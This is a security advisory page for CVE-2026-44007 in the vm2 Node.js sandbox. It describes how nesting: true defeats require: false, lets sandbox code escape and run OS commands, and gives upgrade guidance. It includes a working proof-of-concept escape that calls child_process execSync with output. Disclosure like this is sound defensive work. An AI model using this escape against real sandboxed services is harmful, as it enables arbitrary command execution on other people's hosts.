CVE-2026-44007: vm2: nesting: true bypasses require: false, allowing sandbox escape to arbitrary OS command execution

Published May 5, 2026
·
Updated

Summary

When a NodeVM is created with nesting: true, sandbox code can unconditionally require('vm2') regardless of the outer VM's require configuration — including require: false. With access to vm2, the sandbox constructs a new inner NodeVM with its own unrestricted require settings and executes arbitrary OS commands on the host. Any application that runs untrusted code inside a NodeVM with nesting: true is fully compromised.

Details

The vulnerability is in how the nesting: true option interacts with the legacy module resolver.

lib/nodevm.js:96-99 — NESTINGOVERRIDE is a special builtin map that injects the vm2 package into the sandbox:

js const NESTINGOVERRIDE = Object.freeze({ proto: null, vm2: vm2NestingLoader });

lib/nodevm.js:268-269 — When nesting: true, this override is passed into the resolver factory alongside the host's require options:

js const customResolver = requireOpts instanceof Resolver; const resolver = customResolver ? requireOpts : makeResolverFromLegacyOptions( requireOpts, nesting && NESTINGOVERRIDE, // ← injected when nesting:true this.compiler );

lib/resolver-compat.js:193-197 — This is the vulnerable branch. When require: false is set, requireOpts is falsy, so !options is true. Without nesting the function returns DENYRESOLVER (block everything). With nesting, it instead builds a resolver that includes vm2 from NESTINGOVERRIDE:

js function makeResolverFromLegacyOptions(options, override, compiler) { if (!options) { if (!override) return DENYRESOLVER; // require:false, no nesting → deny all // BUG: require:false + nesting:true reaches here // override (NESTINGOVERRIDE) is applied, making vm2 available const builtins = makeBuiltinsFromLegacyOptions(undefined, defaultRequire, undefined, override); return new Resolver(DEFAULTFS, [], builtins); // vm2 is now requireable } // ... }

lib/builtin.js:102-106 — NESTINGOVERRIDE is merged unconditionally into builtins, overriding any user-configured allowlist:

js if (overrides) { const keys = Object.getOwnPropertyNames(overrides); for (const key of keys) { res.set(key, overrides[key]); // vm2 always injected when nesting:true } }

The result: require('vm2') always succeeds inside a NodeVM with nesting: true, regardless of require: false, require: { builtin: [] }, or any other restriction. Once the sandbox has vm2, it creates a new inner NodeVM with whatever require config it chooses — unconstrained by the outer VM — and reaches childprocess.

This was introduced in commit 2353ce60 (Feb 8, 2022) and survived a major refactor in commit 9e2b6051 (Apr 8, 2023). The JSDoc for nesting does warn that "scripts can create a NodeVM which can require any host module," but does not document that nesting: true silently defeats require: false, which is the non-obvious part of this interaction.

PoC

Requirements: vm2 installed, Node.js v22.22.1 (also reproduced on earlier versions).

js const { NodeVM } = require('vm2');

// Host intends: nesting enabled, but require completely disabled const vm = new NodeVM({ nesting: true, require: false });

const result = vm.run( // Step 1: require('vm2') succeeds despite require:false on the outer VM const { NodeVM: NVM } = require('vm2');

// Step 2: create an inner NodeVM with attacker-chosen require config // This inner VM has no relation to the outer VM's restrictions const inner = new NVM({ require: { builtin: ['childprocess'] } });

// Step 3: execute arbitrary OS command in the inner VM module.exports = inner.run( 'module.exports = require("childprocess").execSync("id").toString()' ); );

console.log(result); // uid=1000(akshat) gid=1000(akshat) groups=1000(akshat),4(adm),...

Observed output (confirmed on Node v22.22.1, vm2 commit 8dd0591): uid=1000(akshat) gid=1000(akshat) groups=1000(akshat),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),104(kvm),118(lpadmin),989(docker),990(ollama),991(nordvpn)

The variant with require: false also works — the outer VM's require setting has no effect:

js new NodeVM({ nesting: true, require: false }).run( const { NodeVM: NVM } = require('vm2'); module.exports = new NVM({ require: { builtin: ['childprocess'] } }) .run('module.exports = require("childprocess").execSync("id").toString()'); ); // uid=1000(akshat) ...

Narrow builtin allowlists are also bypassed. require: { builtin: ['path'] } still allows require('vm2') when nesting is enabled.

Impact

Who is affected: Any application that runs untrusted or user-supplied code inside a NodeVM with nesting: true. This includes multi-tenant code execution platforms, notebook/REPL services, plugin systems, and CI sandboxing tools that use vm2.

What an attacker can do: Execute arbitrary OS commands as the host process user. From there: read/write files, exfiltrate secrets from the environment, move laterally on the host network, or establish persistence.

Severity: The mental model mismatch is the core danger. A developer who sets require: false to lock down modules, then adds nesting: true to allow child VM creation, will believe the sandbox is restricted. It is not — require: false is silently overridden and the sandbox has unrestricted OS access.

Note: nesting: true must be set by the host. This is not a zero-cooperation escape from a default NodeVM. However, it is not pure misconfiguration either: the implementation defeats a strong and reasonable expectation (require: false should mean deny all), and the existing warning in the docs does not surface the require: false bypass specifically.

Other sources

vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.1, when a NodeVM is created with nesting: true, sandbox code can unconditionally require('vm2') regardless of the outer VM's require configuration — including require: false. With access to vm2, the sandbox constructs a new inner NodeVM with its own unrestricted require settings and executes arbitrary OS commands on the host. Any application that runs untrusted code inside a NodeVM with nesting: true is fully compromised. This vulnerability is fixed in 3.11.1.

MITRE

Affected Software

3 affected componentsFixes available
npm/vm2
npm/vm2<=3.11.0
3.11.1
Vm2 Project Vm2 Node.js<3.11.1

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/vm2 to a version that resolves this vulnerability.

    Fixed in 3.11.1
  2. Upgrade

    Upgrade vm2 to a version that resolves this vulnerability.

    Fixed in 3.11.1
  3. Configuration

    Do not use `nesting: true`. The material states that prior to 3.11.1, `nesting: true` defeats `require: false` and allows `require('vm2')`/arbitrary OS command execution.

    NodeVM (vm2) nesting = false

Event History

May 7, 2026
Advisory Published
via GitHub·05:13 AM
Data Sourced
via GitHub·05:13 AM
DescriptionSeverityWeaknessAffected Software
May 13, 2026
CVE Published
via MITRE·05:33 PM
Data Sourced
via MITRE·05:33 PM
DescriptionSeverityWeakness
Data Sourced
via Red Hat·06:02 PM
DescriptionSeverityAffected Software
Data Sourced
via NVD·06:16 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-44007?

CVE-2026-44007 is rated as critical due to its potential for arbitrary OS command execution.

2

How do I fix CVE-2026-44007?

To fix CVE-2026-44007, update to vm2 version 3.11.1 or later.

3

What configurations are affected by CVE-2026-44007?

CVE-2026-44007 affects configurations where 'nesting' is set to true, allowing bypass of 'require' settings.

4

What is the impact of CVE-2026-44007?

The impact of CVE-2026-44007 is that it allows sandbox escape and execution of arbitrary commands on the host system.

5

Is my version of vm2 vulnerable to CVE-2026-44007?

If you are using vm2 version 3.11.0 or earlier, you are vulnerable to CVE-2026-44007.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203